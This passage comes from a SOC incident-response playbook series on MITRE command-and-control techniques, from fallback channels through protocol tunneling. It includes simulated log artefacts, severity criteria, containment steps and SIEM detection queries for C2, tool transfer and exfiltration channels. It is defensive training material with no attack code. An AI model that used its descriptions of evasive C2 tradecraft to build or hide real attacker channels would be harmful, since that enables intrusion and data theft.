- Switch protocols, domains or channels dynamically
- Extend dwell time despite defensive actions
- Increase operational resilience and reliability

Fallback Channels represent C2 redundancy attackers assume defenders will disrupt their first channel and prepare secondary and tertiary control paths.

When to trigger this playbook

Trigger this playbook when indicators suggest automatic switching or use of alternate C2 channels, including:

- Sudden change in protocol, domain or destination after blocking
- Multiple C2 mechanisms embedded in the same malware
- Sequential attempts across different services (HTTP → DNS → email)
- Endpoint logic testing connectivity before selecting a channel
- Re-establishment of C2 shortly after containment actions

Example use case scenario (end-to-end)

Context: SOC blocks an HTTPS C2 domain used by malware. Within minutes, the same host begins DNS-based beaconing to a new domain. Later, encrypted traffic over a cloud messaging API appears from the same process.

Attacker objective: Ensure continuous command-and-control availability regardless of defensive disruption.

Defender objective: Identify all fallback mechanisms and fully neutralise attacker control.

What it looks like (simulated SOC artefacts)

A) Primary C2 Failure

Protocol=HTTPS
Action=Blocked
Domain=update-sync[.]net

B) Automatic Channel Switch

NextProtocol=DNS
QueryInterval=180s

C) Multiple Embedded Channels

Capabilities=HTTP,DNS,SMTP

D) Connectivity Testing

Process=agent.exe
Action=CheckInternetAccess

E) Cloud Service Fallback

Service=Telegram API
Action=SendMessage

F) Resilient Beaconing

ChannelRotation=Enabled

Severity decision (SOC)

High

- Suspicious protocol switching without confirmed C2

Critical

- Confirmed fallback activation after containment
- Multiple active C2 channels in use
- Fallback channels spanning different trust zones (DNS, cloud, email)

Example severity: Critical

(Multi-channel C2 with automatic fallback after blocking)

Step-by-step SOC workflow

Step 1 Validate fallback channel behaviour

Confirm:

1. Did C2 behaviour resume after blocking?
2. Was there an automatic switch to a different protocol or service?
3. Are multiple communication methods embedded in the malware?
4. Is channel selection conditional on connectivity or failure?

Decision point

- Legitimate application failover → document
- Malicious C2 fallback → escalate immediately

Step 2 Identify fallback mechanisms and scope

Fallback type	Evidence	Attacker value
Protocol fallback	HTTP → DNS	Network bypass
Infrastructure fallback	New domains	Takedown resistance
Service fallback	Cloud APIs	Trust abuse
Offline fallback	Removable media	Air-gap access
Hybrid fallback	Multiple layers	High resilience

Step 3 Map behaviour to attacker intent

3A) Operational Resilience

Indicators

- Seamless C2 recovery after disruption

Attacker intent

- Maintain control under pressure

3B) Defender Fatigue

Indicators

- Repeated new indicators after blocking

Attacker intent

- Exhaust detection and response capacity

3C) Long-Term Persistence

Indicators

- Fallback logic active for weeks or months

Attacker intent

- Prolong campaign lifespan

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Application Layer Protocol C2
 - New protocol usage
2. Dynamic Resolution
 - New domains or IPs
3. Encrypted Channel
 - Secure fallback communications
4. Ingress Tool Transfer
 - Updated malware with new fallback logic

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Identify and block all known C2 channels, not just one
2. Isolate affected endpoints
3. Increase monitoring for protocol and domain changes

If fallback C2 confirmed

1. Reverse engineer malware configuration if possible
2. Sinkhole or simulate all fallback endpoints
3. Identify all hosts with similar multi-channel behaviour
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware and embedded fallback logic
- Reimage systems if required

- Harden egress controls across all protocols, not single ports
- Improve C2 behaviour correlation
- Monitor closely for re-activation via new channels

Detection engineering (SIEM ideas)

A) Post-block traffic resurgence

```
index=network
| where action="blocked"
| transaction src_ip maxspan=10m
| where subsequent_connection=true
```

B) Multi-protocol C2 detection

```
index=network
| stats dc(protocol) by src_ip
| where dc(protocol) > baseline
```

C) Cloud service misuse after containment

```
index=proxy
| where service IN ("Telegram","Discord","Slack")
| where process_name NOT IN baseline
```

Analyst checklist

- Fallback channel behaviour confirmed
- All potential C2 paths identified
- Channels blocked or sinkholed
- Scope across hosts assessed
- Incident escalated appropriately

Post-incident improvements

- Treat fallback channels as advanced attacker maturity indicator
- Always hunt for secondary and tertiary C2 paths
- Correlate block action → channel switch → new beacon
- Monitor protocol diversity per host
- Include fallback-C2 scenarios in SOC and purple-team exercises

Playbook 217 (MITRE Command and Control): Hide Infrastructure

Technique: Hide Infrastructure

Purpose

Detect, investigate and respond to attackers deliberately concealing their command-and-control (C2) infrastructure, enabling attackers to:

- Mask the true location and ownership of C2 servers
- Evade IP- and domain-based blocking
- Abuse trusted third-party services and intermediaries
- Increase resilience against takedowns and attribution
- Blend malicious infrastructure into legitimate internet services

Hide Infrastructure is C2 anonymity and camouflage attackers ensure defenders never see the real C2 backend directly.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional obfuscation or proxying of C2 infrastructure, including:

- Traffic routed through CDNs, proxies or relay services
- Multiple layers of redirection before reaching a destination
- Use of anonymisation networks or cloud fronting
- Infrastructure that changes ownership, IPs or hosting frequently
- C2 endpoints hosted behind legitimate, high-reputation services

Example use case scenario (end-to-end)

Context: SOC detects HTTPS beaconing to a well-known CDN domain. Deeper inspection shows requests routed through the CDN to an attacker-controlled backend. When the backend IP is blocked, the domain continues resolving normally, maintaining C2 connectivity.

Attacker objective: Hide true C2 servers behind trusted or disposable infrastructure.

Defender objective: Expose the real control path and neutralise hidden attacker infrastructure.

What it looks like (simulated SOC artefacts)

A) CDN or Proxy Fronting

Domain=cdn-assets.example
ResolvedIP=Shared CDN
BackendIP=Unknown

B) Multi-Hop Redirection

Hop1=CloudFront
Hop2=Reverse Proxy
Hop3=C2 Server

C) Anonymisation Services

Network=TOR Exit Node
ASN=Anonymous Hosting

D) Rapid Infrastructure Changes

BackendIPChange=Every 24 hours
HostingProvider=Rotating

E) Legitimate Reputation Abuse

DomainReputation=High
Usage=Non-standard API calls

F) No Direct Exposure

DirectC2IP=Never observed

Severity decision (SOC)

High

- Suspicious infrastructure masking without confirmed C2

Critical

- Confirmed C2 hidden behind CDN, proxy or anonymisation layers
- Infrastructure hiding combined with encrypted or fallback channels
- Same hidden backend controlling multiple hosts

Example severity: Critical

(C2 infrastructure deliberately concealed behind trusted services)

Step-by-step SOC workflow

Step 1 Validate infrastructure hiding behaviour

Confirm:

1. Is traffic indirect or proxied, not reaching a clear endpoint?
2. Are trusted services being abused as fronts?
3. Does blocking one layer fail to disrupt communication?
4. Is backend infrastructure intentionally obscured?

Decision point

- Legitimate CDN or proxy use → document
- Malicious infrastructure hiding → escalate immediately

Step 2 Identify hiding methods and scope

Hiding method	Evidence	Attacker value
CDN fronting	Shared IPs/domains	Trust abuse
Reverse proxies	Hidden backends	Anonymity
Anonymisation networks	TOR/I2P	Attribution evasion
Cloud relays	SaaS intermediaries	Blocking resistance
Multi-hop chains	Several redirects	Deep concealment

Step 3 Map behaviour to attacker intent

3A) Attribution Avoidance

Indicators

- No direct C2 IP or owner visible

Attacker intent

- Avoid identification and takedown

3B) Blocking Resistance

Indicators

- Communication survives IP/domain blocks

Attacker intent

- Maintain control under defensive pressure

3C) Campaign Scalability

Indicators

- Same hidden infra serving many victims

Attacker intent

- Support large-scale operations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Encrypted Channel
 - Hidden infrastructure + TLS
2. Fallback Channels
 - Alternative fronts or services
3. Dynamic Resolution
 - Backend rotation behind fronts
4. Ingress Tool Transfer
 - Payloads fetched via hidden infra

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block or restrict fronted access patterns, not just domains
2. Isolate affected endpoints
3. Increase inspection of proxy/CDN usage

If hidden C2 confirmed

1. Work with providers (CDN/cloud) to identify abuse
2. Sinkhole or disrupt communication paths where possible
3. Preserve full network path telemetry
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware using hidden infrastructure
- Reimage affected systems if required
- Harden egress controls and protocol allowlists
- Monitor for new infrastructure fronts
- Improve provider collaboration workflows

Detection engineering (SIEM ideas)

A) CDN abuse detection

```
index=proxy  
| where domain_reputation="High"  
| where request_pattern NOT IN baseline
```

B) Multi-hop traffic patterns

```
index=network  
| stats dc(dest_ip) by src_ip, domain  
| where dc(dest_ip) > threshold
```

C) TOR / anonymisation usage

```
index=network  
| where asn IN ("TOR","Anonymous Hosting")
```

Analyst checklist

- Infrastructure hiding confirmed
- Hiding method identified
- Backend or relay scope assessed
- Communication paths disrupted
- Incident escalated appropriately

Post-incident improvements

- Treat hidden infrastructure as high-maturity C2 indicator
- Monitor behaviour, not reputation alone
- Correlate fronted access → encrypted C2 → fallback usage
- Build provider escalation playbooks (CDN, cloud, SaaS)
- Include infrastructure-hiding scenarios in SOC and purple-team exercises

Playbook 218 (MITRE Command and Control): Ingress Tool Transfer

Technique: Ingress Tool Transfer

Purpose

Detect, investigate and respond to attackers transferring tools, payloads or updates from external infrastructure into compromised environments, enabling attackers to:

- Deliver initial malware, loaders or secondary payloads
- Update existing malware with new capabilities
- Deploy lateral movement or credential theft tools
- Adapt tooling during an active intrusion
- Maintain operational flexibility without redeploying access

Ingress Tool Transfer is capability delivery once C2 exists, attackers pull in the tools needed for the next phase.

When to trigger this playbook

Trigger this playbook when indicators suggest external tools or binaries being downloaded into the environment, including:

- Unexpected downloads initiated by suspicious processes
- Tools transferred over C2, cloud services or file-sharing platforms
- Executables or scripts written to disk shortly after beaconing
- File transfers over non-standard protocols or ports
- Repeated payload updates during an ongoing incident

Example use case scenario (end-to-end)

Context: SOC observes an endpoint beaconing to a C2 server. Minutes later, the same process downloads an encrypted payload via HTTPS and writes it to disk. The payload is executed to perform credential dumping and lateral movement.

Attacker objective: Deliver additional tooling on demand to expand or adapt the attack.

Defender objective: Detect and block tool delivery before attackers escalate impact.

What it looks like (simulated SOC artefacts)

A) Tool Download via C2

Process=agent.exe

Protocol=HTTPS
Action=Download
File=module.bin

B) Write to Suspicious Location

Path=C:\ProgramData\syscache\
File=credtool.exe

C) Cloud-Based Transfer

Service=OneDrive
Object=update.pkg

D) Encrypted Payload

FileEntropy=High
Type=Packed Binary

E) Immediate Execution

Action=CreateProcess
Parent=agent.exe

F) Repeated Updates

ToolVersion=v3.2
UpdateInterval=Daily

Severity decision (SOC)

High

- Suspicious file download without confirmed malicious execution

Critical

- Confirmed malicious tool transfer
- Ingress followed by execution or lateral movement
- Multiple tools delivered during an active intrusion

Example severity: Critical

(Active attacker delivering new tools through C2)

Step-by-step SOC workflow

Step 1 Validate ingress tool transfer

Confirm:

1. Is the file downloaded from an external source?
2. Is the request initiated by a suspicious process?
3. Is the file executable, script or archive?
4. Is there execution or unpacking shortly after transfer?

Decision point

- Legitimate software update → document
- Suspicious or malicious tool transfer → escalate immediately

Step 2 Identify transfer method and scope

Transfer method	Evidence	Attacker value
Direct C2 download	HTTPS/DNS pull	Control
Cloud storage	SaaS abuse	Trust bypass
File transfer protocols	FTP/SFTP	Bulk delivery
Encrypted payload	Packed binary	Evasion
Incremental updates	Versioned tools	Adaptability

Step 3 Map behaviour to attacker intent

3A) Capability Expansion

Indicators

- New tools appear mid-incident

Attacker intent

- Enable next attack phase

3B) Evasion and Adaptation

Indicators

- Frequent tool updates

Attacker intent

- Bypass detection

3C) Operational Flexibility

Indicators

- Tools delivered only when needed

Attacker intent

- Minimise footprint

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - New binaries or scripts launched
2. Credential Access
 - Dumping or harvesting tools
3. Lateral Movement
 - Tools for remote access or scanning
4. Persistence
 - Tool installing services or tasks

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block source domains, URLs or cloud objects
2. Isolate affected endpoints
3. Quarantine downloaded tools

If ingress tool transfer confirmed

1. Preserve transferred files and metadata
2. Identify all hosts receiving the same tools
3. Terminate executing tool processes
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malicious tools and loaders
- Reimage systems if required
- Reset credentials targeted by delivered tools
- Harden egress controls and download monitoring
- Monitor closely for renewed tool delivery

Detection engineering (SIEM ideas)

A) Download by non-browser processes

```
index=proxy  
| where process_name NOT IN ("chrome.exe","msedge.exe","firefox.exe")  
| where action="download"
```

B) Execution after download

```
index=edr  
| transaction host maxspan=5m  
| where file_write=true AND process_start=true
```

C) Cloud storage abuse

```
index=proxy  
| where service IN ("OneDrive","Google Drive","Dropbox")  
| where process_name NOT IN baseline
```

Analyst checklist

- Ingress tool transfer confirmed
- Transfer source and method identified
- Delivered tools analysed
- Hosts contained and cleaned
- Incident escalated appropriately

Post-incident improvements

- Treat ingress tool transfer as critical escalation point
- Correlate C2 → download → execution automatically
- Monitor cloud storage access from endpoints
- Enforce strict egress and download policies
- Include tool-delivery scenarios in SOC and purple-team exercises

Playbook 219 (MITRE Command and Control): Multi-Stage Channels

Technique: Multi-Stage Channels

Purpose

Detect, investigate and respond to attackers chaining multiple command-and-control (C2) stages together, where different channels are used for different phases of communication, enabling attackers to:

- Separate beaconing, command delivery and data transfer
- Reduce exposure of high-value C2 infrastructure
- Evade detection by limiting functionality per channel
- Increase resilience and stealth of long-term operations
- Adapt communication paths dynamically based on environment

Multi-Stage Channels represent C2 compartmentalisation attackers deliberately split communication roles across multiple channels so no single channel reveals the full operation.

When to trigger this playbook

Trigger this playbook when indicators suggest multiple, coordinated communication channels used sequentially or in parallel, including:

- One channel used only for beaconing, another for commands
- Tool downloads or data transfer over a different channel than initial C2
- Channel switching without full fallback behaviour
- Distinct protocols used at different intrusion stages
- Malware logic explicitly separating “check-in” and “tasking” channels

Example use case scenario (end-to-end)

Context: An endpoint performs low-volume DNS beaconing every 10 minutes. Upon receiving a task ID, the host connects to a cloud storage service to download tools. Exfiltration later occurs over HTTPS to a separate domain.

Attacker objective: Minimise detection by splitting C2 functions across multiple channels.

Defender objective: Correlate seemingly unrelated communications into a single coordinated C2 workflow.

What it looks like (simulated SOC artefacts)

A) Stage 1 – Beacon Channel

Protocol=DNS
Purpose=Heartbeat
Interval=600s

B) Stage 2 – Tasking Channel

Protocol=HTTPS
Purpose=Command Delivery
Domain=task-api[.]net

C) Stage 3 – Tool Transfer

Service=Cloud Storage
Action=Download
Object=payload.pkg

D) Stage 4 – Exfiltration Channel

Protocol=HTTPS
Destination=exfil-gateway[.]com

E) Coordinated Timing

Beacon→Task→Download within 3 minutes

F) Channel Isolation

No single channel shows full kill chain

Severity decision (SOC)

High

- Multiple suspicious channels without proven coordination

Critical

- Confirmed multi-stage C2 workflow
- Clear role separation between channels
- Multi-stage channels observed across multiple hosts

Example severity: Critical

(Coordinated multi-channel C2 with stage separation)

Step-by-step SOC workflow

Step 1 Validate multi-stage channel behaviour

Confirm:

1. Are multiple channels used for different purposes?
2. Do channels activate in a specific sequence?
3. Is there logical dependency between channels?
4. Does malware configuration define separate endpoints?

Decision point

- Legitimate multi-service application → document
- Coordinated malicious multi-stage C2 → escalate immediately

Step 2 Identify stages and scope

Stage	Channel	Purpose	Attacker value
Stage 1	DNS/HTTP	Beacon	Low noise
Stage 2	HTTPS/API	Command	Control
Stage 3	Cloud/FTP	Tool delivery	Capability
Stage 4	HTTPS	Exfiltration	Data theft
Stage 5	Backup channel	Resilience	Persistence

Step 3 Map behaviour to attacker intent

3A) Exposure Reduction

Indicators

- Minimal traffic per channel

Attacker intent

- Avoid correlation and detection

3B) Infrastructure Protection

Indicators

- Sensitive C2 endpoints used only briefly

Attacker intent

- Protect core infrastructure

3C) Operational Flexibility

Indicators

- Channels swapped or updated independently

Attacker intent

- Adapt during active operations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Ingress Tool Transfer
 - Tool downloads via secondary channels
2. Encrypted Channel
 - Secure communication stages
3. Hide Infrastructure
 - Fronted or proxy-based stages
4. Exfiltration
 - Separate data return paths

Decision point

- Evidence found → escalate to Advanced Persistent Intrusion / Full IR

Containment actions

Immediate

1. Identify and block all stages, not a single channel
2. Isolate affected endpoints
3. Increase correlation across DNS, proxy and endpoint logs

If multi-stage C2 confirmed

1. Map full channel sequence and dependencies

2. Sinkhole or disrupt each stage
3. Preserve timing and correlation evidence
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware and configuration defining multi-stage channels
- Reimage systems if required
- Reset credentials involved in staged access
- Improve cross-domain telemetry correlation
- Monitor closely for partial reactivation

Detection engineering (SIEM ideas)

A) Cross-protocol correlation

```
index=network  
| transaction src_ip maxspan=10m  
| where dc(protocol) > 1
```

B) Sequence-based detection

```
index=network  
| sort _time  
| where protocol_sequence="DNS->HTTPS->HTTPS"
```

C) Cloud + beacon correlation

```
index=proxy  
| where service IN ("OneDrive","Dropbox")  
| join host [search index=dns where query_count > baseline]
```

Analyst checklist

- Multi-stage channels confirmed
- Channel roles identified
- Full sequence mapped
- All stages disrupted
- Incident escalated appropriately

Post-incident improvements

- Treat multi-stage channels as APT-level tradecraft indicator
- Correlate events across protocols, services and time

- Detect role-based channel separation
- Focus on workflow detection, not single indicators
- Include multi-stage C2 simulations in SOC and purple-team exercises

Playbook 220 (MITRE Command and Control): Non-Application Layer Protocol

Technique: Non-Application Layer Protocol

Purpose

Detect, investigate and respond to command-and-control (C2) communication conducted over lower-layer network protocols, enabling attackers to:

- Bypass application-layer inspection and proxies
- Evade HTTP/DNS-focused detections
- Operate in restricted or legacy network environments
- Blend C2 traffic into “infrastructure noise”
- Maintain control where application traffic is tightly monitored

Non-Application Layer Protocol C2 is below the radar attackers hide control traffic in transport, network or link-layer protocols that SOC teams often monitor less aggressively.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious or abnormal activity at network layers below typical application protocols, including:

- Unexpected ICMP, TCP, UDP or raw socket traffic
- Unusual packet sizes, flags or timing patterns
- Control-like communication without clear application context
- Persistent low-level traffic tied to malware execution
- Network behaviour inconsistent with host role

Example use case scenario (end-to-end)

Context: SOC observes a server sending ICMP echo requests every 90 seconds to an external IP. Payload size and content are consistent and non-standard. Endpoint telemetry reveals malware encoding commands inside ICMP payloads and decoding responses.

Attacker objective: Maintain stealthy C2 using protocols that often bypass deep inspection.

Defender objective: Identify abnormal low-level network behaviour and disrupt hidden C2 channels.

What it looks like (simulated SOC artefacts)

A) ICMP-Based C2

Protocol=ICMP
Type=Echo Request
PayloadSize=128 bytes
Interval=90s

B) TCP Flag Abuse

Protocol=TCP
Flags=SYN,ACK,PSH
Port=Non-standard

C) UDP Beaconing

Protocol=UDP
DestinationPort=53
Payload=Non-DNS Data

D) Raw Socket Usage

Process=agent.exe
Action=CreateRawSocket

E) No Application Context

AssociatedService=None
ProcessRole=Unknown

F) Consistent Timing Pattern

Jitter=Low
Interval=Fixed

Severity decision (SOC)

High

- Abnormal low-level traffic without confirmed malicious linkage

Critical

- Confirmed C2 using ICMP, TCP, UDP or raw protocols
- Non-application protocol traffic controlling execution
- Same low-level C2 observed across multiple hosts

Example severity: Critical

(Active ICMP-based command-and-control)

Step-by-step SOC workflow

Step 1 Validate non-application protocol usage

Confirm:

1. Which protocol layer is used (ICMP, TCP, UDP, raw)?
2. Is the traffic periodic, structured or command-like?
3. Does payload content deviate from protocol norms?
4. Is traffic correlated with suspicious process activity?

Decision point

- Legitimate network diagnostics or services → document
- Malicious low-level C2 → escalate immediately

Step 2 Identify protocol abuse and scope

Protocol	Evidence	Attacker value
ICMP	Encoded echo payloads	Firewall bypass
TCP	Flag manipulation	Stealth
UDP	Stateless beacons	Low visibility
Raw sockets	Custom packets	Deep evasion
Hybrid	Multiple layers	Resilience

Step 3 Map behaviour to attacker intent

3A) Inspection Evasion

Indicators

- No application-layer visibility

Attacker intent

- Avoid proxies and DLP

3B) Network Control

Indicators

- Commands embedded in packet fields

Attacker intent

- Maintain direct host control

3C) Environment Adaptation

Indicators

- Use of protocols allowed by default

Attacker intent

- Operate in restricted networks

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Encrypted Channel
 - Encrypted payloads inside low-level packets
2. Dynamic Resolution
 - IP rotation for non-application C2
3. Ingress Tool Transfer
 - Payloads delivered after low-level command
4. Fallback Channels
 - Switch to application-layer if blocked

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block suspicious ICMP/TCP/UDP patterns at network controls
2. Isolate affected endpoints
3. Disable raw socket capabilities where possible

If non-application C2 confirmed

1. Implement protocol-level filtering and rate limiting

2. Preserve packet captures and endpoint artefacts
3. Identify all hosts exhibiting similar low-level traffic
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware using low-level networking
- Reimage systems if required
- Harden firewall rules and protocol monitoring
- Improve packet-level anomaly detection
- Monitor closely for protocol switching

Detection engineering (SIEM ideas)

A) ICMP beacon detection

```
index=network  
| where protocol="ICMP"  
| bucket _time span=2m  
| stats count by src_ip, dest_ip  
| where count > baseline
```

B) UDP traffic without application context

```
index=network  
| where protocol="UDP"  
| where application="unknown"
```

C) Raw socket usage on endpoints

```
index=edr  
| where action="CreateRawSocket"  
| where process_name NOT IN baseline
```

Analyst checklist

- Non-application protocol C2 confirmed
- Protocol and abuse method identified
- Scope across hosts assessed
- Network controls applied
- Incident escalated appropriately

Post-incident improvements

- Treat low-level protocols as valid C2 channels, not just noise
- Baseline ICMP, TCP and UDP usage per host role
- Correlate packet-level behaviour → endpoint execution
- Expand SOC visibility below application layer
- Include non-application C2 scenarios in SOC and purple-team exercises

Playbook 221 (MITRE Command and Control): Non-Standard Port

Technique: Non-Standard Port

Purpose

Detect, investigate and respond to attackers using uncommon or unexpected network ports for command-and-control (C2) communication, enabling attackers to:

- Bypass firewall rules focused on standard service ports
- Evade security controls that assume protocol–port consistency
- Hide malicious traffic in overlooked or rarely monitored ports
- Blend C2 traffic into custom or legacy application behaviour
- Maintain control in environments with restrictive egress filtering

Non-Standard Port C2 is misdirection attackers do not invent new protocols, they move familiar protocols to places defenders are not watching.

When to trigger this playbook

Trigger this playbook when indicators suggest network communication occurring on ports inconsistent with the observed protocol or host role, including:

- HTTP/HTTPS traffic over non-80/443 ports
- TLS traffic on high or random ports
- DNS-like payloads outside port 53
- Long-lived outbound connections on unusual ports
- Repeated beaconing on ports not used by approved applications

Example use case scenario (end-to-end)

Context: SOC detects an endpoint establishing outbound TCP connections on port **8447** every 120 seconds. Traffic analysis reveals HTTPS-like handshakes and encrypted payloads. Endpoint telemetry confirms malware using this port to communicate with its C2 server to avoid proxy inspection on 443.

Attacker objective: Maintain encrypted C2 communication while bypassing standard port-based controls.

Defender objective: Identify protocol–port mismatches and disrupt hidden C2 traffic.

What it looks like (simulated SOC artefacts)

A) HTTPS on Non-Standard Port

Protocol=TLS
DestinationPort=8447
SNI=update-check[.]net

B) Protocol–Port Mismatch

ObservedProtocol=HTTP
ExpectedPort=80/443
ActualPort=3128

C) Consistent Beaconsing

Interval=120s
PayloadSize=Constant

D) No Legitimate Service Mapping

PortUsage=Unknown
ApprovedApplication=None

E) Endpoint Correlation

Process=agent.exe
Socket=TCP:8447

F) Evasion of Proxy Controls

ProxyPath=Bypassed
Inspection=None

Severity decision (SOC)

High

- Unusual port usage without confirmed malicious activity

Critical

- Confirmed C2 traffic over non-standard ports
- Encrypted or beaconsing traffic on unexpected ports
- Same non-standard port usage across multiple hosts

Example severity: Critical

(Active encrypted C2 operating on non-standard port)

Step-by-step SOC workflow

Step 1 Validate non-standard port usage

Confirm:

1. Is the port commonly used in the organisation?
2. Does the protocol match the expected port?
3. Is traffic periodic or command-like?
4. Is the connection associated with a suspicious process?

Decision point

- Legitimate custom application → document
- Malicious protocol-port abuse → escalate immediately

Step 2 Identify port abuse and scope

Indicator	Evidence	Attacker value
High-numbered ports	>1024 usage	Low monitoring
Protocol mismatch	TLS on random port	Control bypass
Consistent timing	Beacon patterns	Reliability
Unknown service	No baseline match	Stealth
Multi-host reuse	Same port everywhere	Campaign scale

Step 3 Map behaviour to attacker intent

3A) Firewall and Proxy Evasion

Indicators

- Use of ports not inspected or restricted

Attacker intent

- Bypass security enforcement

3B) Detection Avoidance

Indicators

- Traffic hidden among legacy or custom services

Attacker intent

- Reduce SOC visibility

3C) Operational Stability

Indicators

- Stable C2 channel over time

Attacker intent

- Maintain persistent control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Encrypted Channel
 - TLS over non-standard ports
2. Dynamic Resolution
 - Domain/IP rotation for same port
3. Ingress Tool Transfer
 - Payload downloads over the same port
4. Fallback Channels
 - Switch to alternate ports when blocked

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block or restrict suspicious non-standard ports
2. Isolate affected endpoints
3. Enable inspection for traffic on unusual ports

If non-standard port C2 confirmed

1. Identify all hosts communicating on the same port
2. Preserve flow data and packet captures
3. Terminate malicious processes
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware using non-standard ports
- Reimage systems if required
- Tighten egress filtering and port allowlists
- Enforce protocol-aware inspection
- Monitor closely for port-hopping behaviour

Detection engineering (SIEM ideas)

A) TLS on unexpected ports

```
index=network  
| where protocol="TLS"  
| where dest_port NOT IN (443,8443)
```

B) Beaconing on high ports

```
index=network  
| where dest_port > 1024  
| bucket _time span=2m  
| stats count by src_ip, dest_port  
| where count > baseline
```

C) Unknown port usage by endpoints

```
index=edr  
| where action="Connect"  
| where dest_port NOT IN approved_ports
```

Analyst checklist

- Non-standard port usage confirmed
- Protocol-port mismatch validated
- Scope across hosts identified
- Network controls applied
- Incident escalated appropriately

Post-incident improvements

- Treat protocol-port mismatch as high-signal indicator
- Baseline approved ports per application and host role
- Enforce protocol-aware firewall and proxy inspection
- Correlate port abuse → encrypted C2 → fallback behaviour

- Include non-standard port C2 scenarios in SOC and purple-team exercises

Playbook 222 (MITRE Command and Control): Protocol Tunneling

Technique: Protocol Tunneling

Purpose

Detect, investigate and respond to attackers encapsulating command-and-control (C2) traffic inside other protocols, enabling attackers to:

- Bypass firewall, proxy and IDS/IPS controls
- Evade protocol-aware inspection
- Smuggle arbitrary data through allowed channels
- Maintain C2 in tightly restricted environments
- Abuse trusted or ubiquitous protocols for stealth

Protocol Tunneling is protocol deception attackers wrap one protocol inside another so security controls inspect the outer layer and miss the inner payload.

When to trigger this playbook

Trigger this playbook when indicators suggest protocol misuse or encapsulation inconsistent with normal behaviour, including:

- DNS traffic carrying non-DNS data
- HTTP requests transporting binary or encrypted blobs
- ICMP packets with structured or oversized payloads
- SSH, HTTPS or VPN-like behaviour without approved tooling
- High-entropy payloads inside protocols expected to be plaintext

Example use case scenario (end-to-end)

Context: SOC detects large DNS TXT queries and responses every 2 minutes. Payloads are Base64-like and exceed normal DNS usage. Endpoint telemetry shows malware encoding commands inside DNS, decoding responses and executing tasks.

Attacker objective: Tunnel full bidirectional C2 traffic through an allowed protocol to evade controls.

Defender objective: Identify protocol abuse and disrupt hidden tunneled C2 channels.

What it looks like (simulated SOC artefacts)

A) DNS Tunneling

QueryType=TXT
QueryLength=180 bytes
Payload=Base64-like

B) HTTP Tunneling

Method=POST
ContentType=application/octet-stream
Payload=EncryptedBinary

C) ICMP Tunneling

Protocol=ICMP
Payload=StructuredData

D) Encapsulation Pattern

OuterProtocol=DNS
InnerProtocol=C2

E) Consistent Timing

Interval=120s
Jitter=Low

F) Endpoint Decode Logic

Process=agent.exe
Action=DecodeTunnelPayload

Severity decision (SOC)

High

- Suspicious protocol payloads without confirmed malicious execution

Critical

- Confirmed C2 tunneled inside another protocol
- Bidirectional command exchange via tunneling
- Protocol tunneling observed across multiple hosts

Example severity: Critical

(Active DNS tunneling used for command-and-control)

Step-by-step SOC workflow

Step 1 Validate protocol tunneling behaviour

Confirm:

1. Is the payload inconsistent with protocol standards?
2. Are payloads oversized, encoded or encrypted?
3. Is traffic periodic or command-like?
4. Is there endpoint logic decoding tunneled data?

Decision point

- Legitimate protocol extension → document
- Malicious protocol tunneling → escalate immediately

Step 2 Identify tunneling method and scope

Tunnel type	Evidence	Attacker value
DNS tunneling	Long queries, TXT abuse	Firewall bypass
HTTP tunneling	Binary POST bodies	Proxy evasion
ICMP tunneling	Payload abuse	Stealth
SSH/HTTPS tunneling	Encrypted wrappers	Confidentiality
Hybrid tunneling	Multiple protocols	Resilience

Step 3 Map behaviour to attacker intent

3A) Control Channel Evasion

Indicators

- Arbitrary data inside allowed protocols

Attacker intent

- Bypass inspection and filtering

3B) Restricted Environment Operation

Indicators

- Use of protocols always allowed (DNS, ICMP)

Attacker intent

- Maintain C2 despite tight egress controls

3C) Full C2 Functionality

Indicators

- Large, bidirectional payloads

Attacker intent

- Execute commands and exfiltrate data

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Encrypted Channel
 - Encryption layered inside tunnels
2. Ingress Tool Transfer
 - Payloads delivered via tunnels
3. Dynamic Resolution
 - DNS tunneling combined with DGA
4. Fallback Channels
 - Switch to alternate tunneling methods

Decision point

- Evidence found → escalate to Advanced Intrusion / Full IR

Containment actions

Immediate

1. Block or rate-limit abused protocols (e.g., DNS TXT)
2. Isolate affected endpoints
3. Increase deep inspection on allowed protocols

If tunneling confirmed

1. Implement protocol-aware validation (DNS length, ICMP size)
2. Preserve packet captures and decoded payloads
3. Identify all hosts exhibiting similar tunneling behaviour
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware performing tunneling
- Reimage affected systems if required
- Harden DNS, ICMP and HTTP controls
- Deploy anomaly-based protocol inspection
- Monitor closely for tunneling re-emergence

Detection engineering (SIEM ideas)

A) DNS tunneling detection

```
index=dns  
| where query_type="TXT"  
| where query_length > baseline
```

B) ICMP payload abuse

```
index=network  
| where protocol="ICMP"  
| where payload_size > threshold
```

C) Binary HTTP payloads

```
index=proxy  
| where content_type="application/octet-stream"  
| where process_name NOT IN baseline
```

Analyst checklist

- Protocol tunneling confirmed
- Tunnel type identified
- Endpoint decode logic validated
- Abused protocol restricted
- Incident escalated appropriately

Post-incident improvements

- Treat protocol tunneling as high-maturity C2 technique
- Validate protocol compliance, not just allow/deny
- Correlate tunneled traffic → decode → execution
- Monitor DNS, ICMP and HTTP for semantic misuse
- Include tunneling scenarios in SOC and purple-team exercises

Playbook 223 (MITRE Command and Control): Proxy

Technique: Proxy

Sub-techniques:

- Internal Proxy
- External Proxy
- Multi-hop Proxy
